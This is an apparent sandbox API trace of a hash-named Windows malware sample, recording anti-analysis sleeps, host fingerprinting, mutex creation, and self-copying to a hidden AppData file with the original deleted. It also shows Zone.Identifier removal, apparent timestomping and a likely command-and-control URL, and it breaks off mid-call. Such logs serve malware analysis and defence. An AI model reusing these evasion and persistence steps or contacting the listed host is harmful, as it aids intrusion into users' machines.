Sleep (dwMilliseconds=0xa) [0126.613] Sleep (dwMilliseconds=0xa) [0126.628] Sleep (dwMilliseconds=0xa) [0126.644] Sleep (dwMilliseconds=0xa) [0126.660] Sleep (dwMilliseconds=0xa) [0126.676] Sleep (dwMilliseconds=0xa) [0126.722] Sleep (dwMilliseconds=0xa) [0126.766] Sleep (dwMilliseconds=0xa) [0126.784] Sleep (dwMilliseconds=0xa) [0126.800] Sleep (dwMilliseconds=0xa) [0126.816] Sleep (dwMilliseconds=0xa) [0126.831] Sleep (dwMilliseconds=0xa) [0126.847] Sleep (dwMilliseconds=0xa) [0126.863] Sleep (dwMilliseconds=0xa) [0126.878] Sleep (dwMilliseconds=0xa) [0126.925] Sleep (dwMilliseconds=0xa) [0126.973] Sleep (dwMilliseconds=0xa) [0126.988] Sleep (dwMilliseconds=0xa) [0127.004] Sleep (dwMilliseconds=0xa) [0127.019] Sleep (dwMilliseconds=0xa) [0127.035] Sleep (dwMilliseconds=0xa) [0127.050] Sleep (dwMilliseconds=0xa) [0127.066] Sleep (dwMilliseconds=0xa) [0127.128] Sleep (dwMilliseconds=0xa) [0127.165] Sleep (dwMilliseconds=0xa) [0127.190] Sleep (dwMilliseconds=0xa) [0127.206] Sleep (dwMilliseconds=0xa) [0127.222] Sleep (dwMilliseconds=0xa) [0127.238] Sleep (dwMilliseconds=0xa) [0127.253] Sleep (dwMilliseconds=0xa) [0127.316] Sleep (dwMilliseconds=0xa) [0127.413] Sleep (dwMilliseconds=0xa) [0127.425] Sleep (dwMilliseconds=0xa) [0127.441] Sleep (dwMilliseconds=0xa) [0127.458] Sleep (dwMilliseconds=0xa) [0127.501] Sleep (dwMilliseconds=0xa) [0127.581] Sleep (dwMilliseconds=0xa) [0127.629] Sleep (dwMilliseconds=0xa) [0127.660] Sleep (dwMilliseconds=0xa) [0127.676] Sleep (dwMilliseconds=0xa) [0127.691] Sleep (dwMilliseconds=0xa) [0127.706] Sleep (dwMilliseconds=0xa) [0127.722] Sleep (dwMilliseconds=0xa) [0127.738] Sleep (dwMilliseconds=0xa) [0127.754] Sleep (dwMilliseconds=0xa) [0127.773] Sleep (dwMilliseconds=0xa) [0127.816] Sleep (dwMilliseconds=0xa) [0127.864] Sleep (dwMilliseconds=0xa) [0127.880] Sleep (dwMilliseconds=0xa) [0127.894] Sleep (dwMilliseconds=0xa) [0127.910] Sleep (dwMilliseconds=0xa) [0127.925] Sleep (dwMilliseconds=0xa) [0127.941] Sleep (dwMilliseconds=0xa) [0127.957] Sleep (dwMilliseconds=0xa) [0127.972] Sleep (dwMilliseconds=0xa) [0127.988] Sleep (dwMilliseconds=0xa) [0128.035] Sleep (dwMilliseconds=0xa) [0128.079] Sleep (dwMilliseconds=0xa) [0128.108] Sleep (dwMilliseconds=0xa) [0128.130] Sleep (dwMilliseconds=0xa) [0128.144] Sleep (dwMilliseconds=0xa) [0128.159] Sleep (dwMilliseconds=0xa) [0128.177] Sleep (dwMilliseconds=0xa) [0128.238] Sleep (dwMilliseconds=0xa) [0128.286] Sleep (dwMilliseconds=0xa) [0128.301] Sleep (dwMilliseconds=0xa) [0128.355] Sleep (dwMilliseconds=0xa) [0128.378] Sleep (dwMilliseconds=0xa) [0128.441] Sleep (dwMilliseconds=0xa) [0128.498] Sleep (dwMilliseconds=0xa) [0128.581] Sleep (dwMilliseconds=0xa) [0128.629] Sleep (dwMilliseconds=0xa) [0128.644] Sleep (dwMilliseconds=0xa) [0128.659] Sleep (dwMilliseconds=0xa) [0128.678] Sleep (dwMilliseconds=0xa) [0128.691] Sleep (dwMilliseconds=0xa) [0128.708] Sleep (dwMilliseconds=0xa) [0128.722] Sleep (dwMilliseconds=0xa) [0128.785] Sleep (dwMilliseconds=0xa) [0128.829] Sleep (dwMilliseconds=0xa) [0128.848] Sleep (dwMilliseconds=0xa) [0128.863] Sleep (dwMilliseconds=0xa) [0128.881] Sleep (dwMilliseconds=0xa) [0128.894] Sleep (dwMilliseconds=0xa) [0128.913] Sleep (dwMilliseconds=0xa) [0128.925] Sleep (dwMilliseconds=0xa) [0128.941] Sleep (dwMilliseconds=0xa) [0128.988] Sleep (dwMilliseconds=0xa) [0129.018] Sleep (dwMilliseconds=0xa) [0129.039] Sleep (dwMilliseconds=0xa) [0129.050] Sleep (dwMilliseconds=0xa) [0129.066] Sleep (dwMilliseconds=0xa) [0129.082] Sleep (dwMilliseconds=0xa) [0129.097] Sleep (dwMilliseconds=0xa) [0129.113] Sleep (dwMilliseconds=0xa) [0129.129] Sleep (dwMilliseconds=0xa) [0129.175] Sleep (dwMilliseconds=0xa) [0129.216] Sleep (dwMilliseconds=0xa) [0129.239] Sleep (dwMilliseconds=0xa) [0129.253] Sleep (dwMilliseconds=0xa) [0129.269] Sleep (dwMilliseconds=0xa) [0129.284] Sleep (dwMilliseconds=0xa) [0129.300] Sleep (dwMilliseconds=0xa) [0129.316] Sleep (dwMilliseconds=0xa) [0129.332] Sleep (dwMilliseconds=0xa) [0129.378] Sleep (dwMilliseconds=0xa) [0129.419] Sleep (dwMilliseconds=0xa) [0129.442] Sleep (dwMilliseconds=0xa) [0129.456] Sleep (dwMilliseconds=0xa) [0129.472] Sleep (dwMilliseconds=0xa) [0129.488] Sleep (dwMilliseconds=0xa) [0129.503] Sleep (dwMilliseconds=0xa) [0129.582] Sleep (dwMilliseconds=0xa) [0129.628] Sleep (dwMilliseconds=0xa) [0129.645] Sleep (dwMilliseconds=0xa) [0129.659] Sleep (dwMilliseconds=0xa) [0129.675] Sleep (dwMilliseconds=0xa) [0129.691] Sleep (dwMilliseconds=0xa) [0129.707] Sleep (dwMilliseconds=0xa) [0129.722] Sleep (dwMilliseconds=0xa) [0129.786] Sleep (dwMilliseconds=0xa) [0129.832] Sleep (dwMilliseconds=0xa) [0129.847] Sleep (dwMilliseconds=0xa) [0129.862] Sleep (dwMilliseconds=0xa) [0129.879] Sleep (dwMilliseconds=0xa) [0129.895] Sleep (dwMilliseconds=0xa) [0129.909] Sleep (dwMilliseconds=0xa) [0129.925] Sleep (dwMilliseconds=0xa) [0129.941] Sleep (dwMilliseconds=0xa) [0129.989] Sleep (dwMilliseconds=0xa) [0130.036] Sleep (dwMilliseconds=0xa) [0130.050] Sleep (dwMilliseconds=0xa) [0130.066] Sleep (dwMilliseconds=0xa) [0130.081] Sleep (dwMilliseconds=0xa) [0130.097] Sleep (dwMilliseconds=0xa) [0130.123] Sleep (dwMilliseconds=0xa) [0130.193] Sleep (dwMilliseconds=0xa) [0130.230] Sleep (dwMilliseconds=0xa) [0130.254] Sleep (dwMilliseconds=0xa) [0130.269] Sleep (dwMilliseconds=0xa) [0130.284] Sleep (dwMilliseconds=0xa) [0130.300] Sleep (dwMilliseconds=0xa) [0130.315] Sleep (dwMilliseconds=0xa) [0130.378] Sleep (dwMilliseconds=0xa) [0130.425] Sleep (dwMilliseconds=0xa) [0130.443] Sleep (dwMilliseconds=0xa) [0130.456] Sleep (dwMilliseconds=0xa) [0130.472] Sleep (dwMilliseconds=0xa) [0130.488] Sleep (dwMilliseconds=0xa) [0130.503] Sleep (dwMilliseconds=0xa) [0130.540] Sleep (dwMilliseconds=0xa) [0130.582] Sleep (dwMilliseconds=0xa) [0130.628] Sleep (dwMilliseconds=0xa) [0130.644] Sleep (dwMilliseconds=0xa) [0130.660] Sleep (dwMilliseconds=0xa) [0130.675] Sleep (dwMilliseconds=0xa) [0130.691] Sleep (dwMilliseconds=0xa) [0130.706] Sleep (dwMilliseconds=0xa) [0130.722] Sleep (dwMilliseconds=0xa) [0130.739] Sleep (dwMilliseconds=0xa) [0130.785] Sleep (dwMilliseconds=0xa) [0130.814] Sleep (dwMilliseconds=0xa) [0130.831] Sleep (dwMilliseconds=0xa) [0130.847] Sleep (dwMilliseconds=0xa) [0130.862] Sleep (dwMilliseconds=0xa) [0130.879] Sleep (dwMilliseconds=0xa) [0130.894] Sleep (dwMilliseconds=0xa) [0130.956] Sleep (dwMilliseconds=0xa) [0131.013] Sleep (dwMilliseconds=0xa) [0131.086] Sleep (dwMilliseconds=0xa) [0131.108] Sleep (dwMilliseconds=0xa) [0131.128] Sleep (dwMilliseconds=0xa) [0131.144] Sleep (dwMilliseconds=0xa) [0131.159] Sleep (dwMilliseconds=0xa) [0131.175] Sleep (dwMilliseconds=0xa) [0131.192] Sleep (dwMilliseconds=0xa) [0131.206] Sleep (dwMilliseconds=0xa) [0131.222] Sleep (dwMilliseconds=0xa) [0131.270] Sleep (dwMilliseconds=0xa) [0131.294] Sleep (dwMilliseconds=0xa) [0131.316] Sleep (dwMilliseconds=0xa) [0131.331] Sleep (dwMilliseconds=0xa) [0131.347] Sleep (dwMilliseconds=0xa) [0131.362] Sleep (dwMilliseconds=0xa) [0131.378] Sleep (dwMilliseconds=0xa) [0131.394] Sleep (dwMilliseconds=0xa) [0131.409] Sleep (dwMilliseconds=0xa) [0131.457] Sleep (dwMilliseconds=0xa) [0131.490] Sleep (dwMilliseconds=0xa) [0131.503] Sleep (dwMilliseconds=0xa) [0131.539] Sleep (dwMilliseconds=0xa) [0131.550] Sleep (dwMilliseconds=0xa) [0131.566] Sleep (dwMilliseconds=0xa) [0131.582] Sleep (dwMilliseconds=0xa) [0131.597] Sleep (dwMilliseconds=0xa) [0131.646] Sleep (dwMilliseconds=0xa) [0131.680] Sleep (dwMilliseconds=0xa) [0131.700] Sleep (dwMilliseconds=0xa) [0131.722] Sleep (dwMilliseconds=0xa) [0131.738] Sleep (dwMilliseconds=0xa) [0131.753] Sleep (dwMilliseconds=0xa) [0131.769] Sleep (dwMilliseconds=0xa) [0131.831] Sleep (dwMilliseconds=0xa) [0131.878] Sleep (dwMilliseconds=0xa) [0131.894] Sleep (dwMilliseconds=0xa) [0131.909] Sleep (dwMilliseconds=0xa) [0131.925] Sleep (dwMilliseconds=0xa) [0131.941] Sleep (dwMilliseconds=0xa) [0131.956] Sleep (dwMilliseconds=0xa) [0131.972] Sleep (dwMilliseconds=0xa) [0132.035] Sleep (dwMilliseconds=0xa) [0132.080] Sleep (dwMilliseconds=0xa) [0132.144] Sleep (dwMilliseconds=0xa) [0132.160] Sleep (dwMilliseconds=0xa) [0132.176] Sleep (dwMilliseconds=0xa) [0132.191] Sleep (dwMilliseconds=0xa) [0132.239] Sleep (dwMilliseconds=0xa) [0132.286] Sleep (dwMilliseconds=0xa) [0132.300] Sleep (dwMilliseconds=0xa) [0132.316] Sleep (dwMilliseconds=0xa) [0132.332] Sleep (dwMilliseconds=0xa) [0132.347] Sleep (dwMilliseconds=0xa) [0132.362] Sleep (dwMilliseconds=0xa) [0132.378] Sleep (dwMilliseconds=0xa) [0132.394] Sleep (dwMilliseconds=0xa) [0132.448] Sleep (dwMilliseconds=0xa) [0132.480] Sleep (dwMilliseconds=0xa) [0132.503] Sleep (dwMilliseconds=0xa) [0132.537] Sleep (dwMilliseconds=0xa) [0132.551] Sleep (dwMilliseconds=0xa) [0132.566] Sleep (dwMilliseconds=0xa) [0132.629] Sleep (dwMilliseconds=0xa) [0132.673] Sleep (dwMilliseconds=0xa) [0132.691] Sleep (dwMilliseconds=0xa) [0132.707] Sleep (dwMilliseconds=0xa) [0132.722] Sleep (dwMilliseconds=0xa) [0132.737] Sleep (dwMilliseconds=0xa) [0132.753] Sleep (dwMilliseconds=0xa) [0132.769] Sleep (dwMilliseconds=0xa) [0132.788] Sleep (dwMilliseconds=0xa) [0132.832] Sleep (dwMilliseconds=0xa) [0132.860] Sleep (dwMilliseconds=0xa) [0132.878] Sleep (dwMilliseconds=0xa) [0132.896] Sleep (dwMilliseconds=0xa) [0132.910] Sleep (dwMilliseconds=0xa) [0132.927] Sleep (dwMilliseconds=0xa) [0132.941] Sleep (dwMilliseconds=0xa) [0132.956] Sleep (dwMilliseconds=0xa) [0132.972] Sleep (dwMilliseconds=0xa) [0133.021] Sleep (dwMilliseconds=0xa) [0133.066] Sleep (dwMilliseconds=0xa) [0133.083] Sleep (dwMilliseconds=0xa) [0133.097] Sleep (dwMilliseconds=0xa) [0133.113] Sleep (dwMilliseconds=0xa) [0133.128] Sleep (dwMilliseconds=0xa) [0133.144] Sleep (dwMilliseconds=0xa) [0133.160] Sleep (dwMilliseconds=0xa) [0133.175] Sleep (dwMilliseconds=0xa) [0133.222] Sleep (dwMilliseconds=0xa) [0133.258] Sleep (dwMilliseconds=0xa) [0133.269] Sleep (dwMilliseconds=0xa) [0133.285] Sleep (dwMilliseconds=0xa) [0133.300] Sleep (dwMilliseconds=0xa) [0133.320] Sleep (dwMilliseconds=0xa) [0133.331] Sleep (dwMilliseconds=0xa) [0133.347] Sleep (dwMilliseconds=0xa) [0133.363] Sleep (dwMilliseconds=0xa) [0133.410] Sleep (dwMilliseconds=0xa) [0133.447] Sleep (dwMilliseconds=0xa) [0133.473] Sleep (dwMilliseconds=0xa) [0133.502] Sleep (dwMilliseconds=0xa) [0133.534] Sleep (dwMilliseconds=0xa) [0133.551] Sleep (dwMilliseconds=0xa) [0133.598] Sleep (dwMilliseconds=0xa) [0133.627] Sleep (dwMilliseconds=0xa) [0133.644] Sleep (dwMilliseconds=0xa) [0133.659] Sleep (dwMilliseconds=0xa) [0133.675] Sleep (dwMilliseconds=0xa) [0133.691] Sleep (dwMilliseconds=0xa) [0133.706] Sleep (dwMilliseconds=0xa) [0133.722] Sleep (dwMilliseconds=0xa) [0133.738] Sleep (dwMilliseconds=0xa) [0133.786] Sleep (dwMilliseconds=0xa) [0133.818] Sleep (dwMilliseconds=0xa) [0133.831] Sleep (dwMilliseconds=0xa) [0133.848] GetSystemDirectoryA (in: lpBuffer=0x1026fde0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0133.848] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" [0133.848] RtlGetVersion (in: lpVersionInformation=0x610457 | out: lpVersionInformation=0x610457*(dwOSVersionInfoSize=0x0, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 0x0 [0133.849] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1026fdc8 | out: TokenHandle=0x1026fdc8*=0xfc0) returned 1 [0133.849] GetTokenInformation (in: TokenHandle=0xfc0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1026fdc0 | out: TokenInformation=0x0, ReturnLength=0x1026fdc0) returned 0 [0133.849] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x25) returned 0x97b0830 [0133.849] GetTokenInformation (in: TokenHandle=0xfc0, TokenInformationClass=0x19, TokenInformation=0x97b0830, TokenInformationLength=0x1c, ReturnLength=0x1026fdc0 | out: TokenInformation=0x97b0830, ReturnLength=0x1026fdc0) returned 1 [0133.849] GetSidSubAuthorityCount (pSid=0x97b0840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x97b0841 [0133.849] GetSidSubAuthority (pSid=0x97b0840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x97b0848 [0133.849] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x25 [0133.850] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0133.850] CloseHandle (hObject=0xfc0) returned 1 [0133.850] GetComputerNameA (in: lpBuffer=0x1026fe90, nSize=0x1026fed0 | out: lpBuffer="XC64ZB", nSize=0x1026fed0) returned 1 [0133.850] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x1026fec0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1026fec0*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.851] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x29) returned 0x97b0830 [0133.851] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x14) returned 0x97b0870 [0133.851] wsprintfA (in: param_1=0x97b0830, param_2="%s%08X%08X" | out: param_1="XC64ZB99FC78690C287F38") returned 22 [0133.852] CryptAcquireContextA (in: phProv=0x1026fe18, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1026fe18*=0xa4247a0) returned 1 [0133.882] CryptCreateHash (in: hProv=0xa4247a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1026fe10 | out: phHash=0x1026fe10) returned 1 [0133.883] lstrlenA (lpString="XC64ZB99FC78690C287F38") returned 22 [0133.884] CryptHashData (hHash=0xa271320, pbData=0x97b0830, dwDataLen=0x16, dwFlags=0x0) returned 1 [0133.884] CryptGetHashParam (in: hHash=0xa271320, dwParam=0x2, pbData=0x1026fe20, pdwDataLen=0x1026fe50, dwFlags=0x0 | out: pbData=0x1026fe20, pdwDataLen=0x1026fe50) returned 1 [0133.884] wsprintfA (in: param_1=0x61020c, param_2="%02X" | out: param_1="FE") returned 2 [0133.884] wsprintfA (in: param_1=0x61020e, param_2="%02X" | out: param_1="7F") returned 2 [0133.884] wsprintfA (in: param_1=0x610210, param_2="%02X" | out: param_1="15") returned 2 [0133.884] wsprintfA (in: param_1=0x610212, param_2="%02X" | out: param_1="06") returned 2 [0133.884] wsprintfA (in: param_1=0x610214, param_2="%02X" | out: param_1="0B") returned 2 [0133.884] wsprintfA (in: param_1=0x610216, param_2="%02X" | out: param_1="87") returned 2 [0133.884] wsprintfA (in: param_1=0x610218, param_2="%02X" | out: param_1="5F") returned 2 [0133.884] wsprintfA (in: param_1=0x61021a, param_2="%02X" | out: param_1="B9") returned 2 [0133.884] wsprintfA (in: param_1=0x61021c, param_2="%02X" | out: param_1="FB") returned 2 [0133.884] wsprintfA (in: param_1=0x61021e, param_2="%02X" | out: param_1="2A") returned 2 [0133.884] wsprintfA (in: param_1=0x610220, param_2="%02X" | out: param_1="49") returned 2 [0133.884] wsprintfA (in: param_1=0x610222, param_2="%02X" | out: param_1="F0") returned 2 [0133.884] wsprintfA (in: param_1=0x610224, param_2="%02X" | out: param_1="8D") returned 2 [0133.884] wsprintfA (in: param_1=0x610226, param_2="%02X" | out: param_1="5D") returned 2 [0133.884] wsprintfA (in: param_1=0x610228, param_2="%02X" | out: param_1="03") returned 2 [0133.884] wsprintfA (in: param_1=0x61022a, param_2="%02X" | out: param_1="12") returned 2 [0133.884] CryptDestroyHash (hHash=0xa271320) returned 1 [0133.884] CryptReleaseContext (hProv=0xa4247a0, dwFlags=0x0) returned 1 [0133.884] wsprintfA (in: param_1=0x61022c, param_2="%08X" | out: param_1="0C287F38") returned 8 [0133.884] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0870) returned 0x14 [0133.884] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0870) returned 1 [0133.884] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x29 [0133.885] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0133.885] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0xe) returned 0x97b0830 [0133.885] wsprintfA (in: param_1=0x610dbe, param_2="%sFF" | out: param_1="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 42 [0133.885] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0xe [0133.885] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0133.885] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned 0xfc0 [0133.885] RtlGetLastWin32Error () returned 0x0 [0133.885] GetTickCount () returned 0x13941c9 [0133.885] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x1008) returned 0x97b0830 [0133.886] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x2e) returned 0x97b1840 [0133.886] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1026fed8 | out: phkResult=0x1026fed8*=0xe44) returned 0x0 [0133.886] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x14) returned 0x97b1880 [0133.886] RegQueryValueExA (in: hKey=0xe44, lpValueName="svcVersion", lpReserved=0x0, lpType=0x0, lpData=0x1026fe60, lpcbData=0x1026fec0*=0x20 | out: lpType=0x0, lpData=0x1026fe60*=0x31, lpcbData=0x1026fec0*=0xd) returned 0x0 [0133.886] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1880) returned 0x14 [0133.886] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1880) returned 1 [0133.886] lstrlenA (lpString="11.0.10586.0") returned 12 [0133.886] lstrlenA (lpString=".") returned 1 [0133.886] atoi (_Str="11") returned 11 [0133.886] RegCloseKey (hKey=0xe44) returned 0x0 [0133.886] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x2e [0133.887] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0133.887] ObtainUserAgentString (in: dwOption=0xb, pszUAOut=0x97b0830, cbSize=0x1026fec0 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", cbSize=0x1026fec0) returned 0x0 [0133.919] lstrlenA (lpString="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 74 [0133.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x97b0830, cbMultiByte=75, lpWideCharStr=0x610577, cchWideChar=150 | out: lpWideCharStr="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 75 [0133.919] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x1008 [0133.920] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0133.920] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x1008) returned 0x97b0830 [0133.920] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x1c) returned 0x97b1840 [0133.920] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%", lpDst=0x97b0830, nSize=0x105 | out: lpDst="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x26 [0133.920] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x1c [0133.920] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0133.920] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x16) returned 0x97b1840 [0133.920] wsprintfW (in: param_1=0x6107a6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 45 [0133.920] wsprintfW (in: param_1=0x610bb6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa") returned 45 [0133.920] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x16 [0133.920] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0133.920] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x24) returned 0x97b1840 [0133.920] lstrlenA (lpString="http://host-host-file8.com/") returned 27 [0133.920] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x97b1840, Length=0x1b) returned 0x1c0d8e43 [0133.920] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x24 [0133.921] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0133.921] lstrcmpW (lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 1 [0133.921] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0 [0133.921] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), bFailIfExists=0) returned 1 [0134.916] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe")) returned 1 [0134.936] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x12) returned 0x97b1840 [0134.936] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x2a) returned 0x97b1860 [0134.936] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x408) returned 0x97b18a0 [0134.936] wsprintfW (in: param_1=0x97b18a0, param_2="%s%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier") returned 61 [0134.936] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih:zone.identifier")) returned 0 [0134.937] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b18a0) returned 0x408 [0134.937] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b18a0) returned 1 [0134.937] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x12 [0134.937] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0134.937] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1860) returned 0x2a [0134.938] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1860) returned 1 [0134.938] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x16) returned 0x97b1840 [0134.938] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x210) returned 0x97b1860 [0134.938] GetSystemDirectoryA (in: lpBuffer=0x97b1860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0134.938] lstrcatA (in: lpString1="C:\\Windows\\system32", lpString2="\\" | out: lpString1="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0134.938] lstrcatA (in: lpString1="C:\\Windows\\system32\\", lpString2="advapi32.dll" | out: lpString1="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0134.938] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwFileAttributes=0x6) returned 1 [0134.939] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x16e4 [0134.939] GetFileAttributesExA (in: lpFileName="C:\\Windows\\system32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll"), fInfoLevelId=0x0, lpFileInformation=0x1026fe30 | out: lpFileInformation=0x1026fe30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a16bf4b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1a16bf4b, 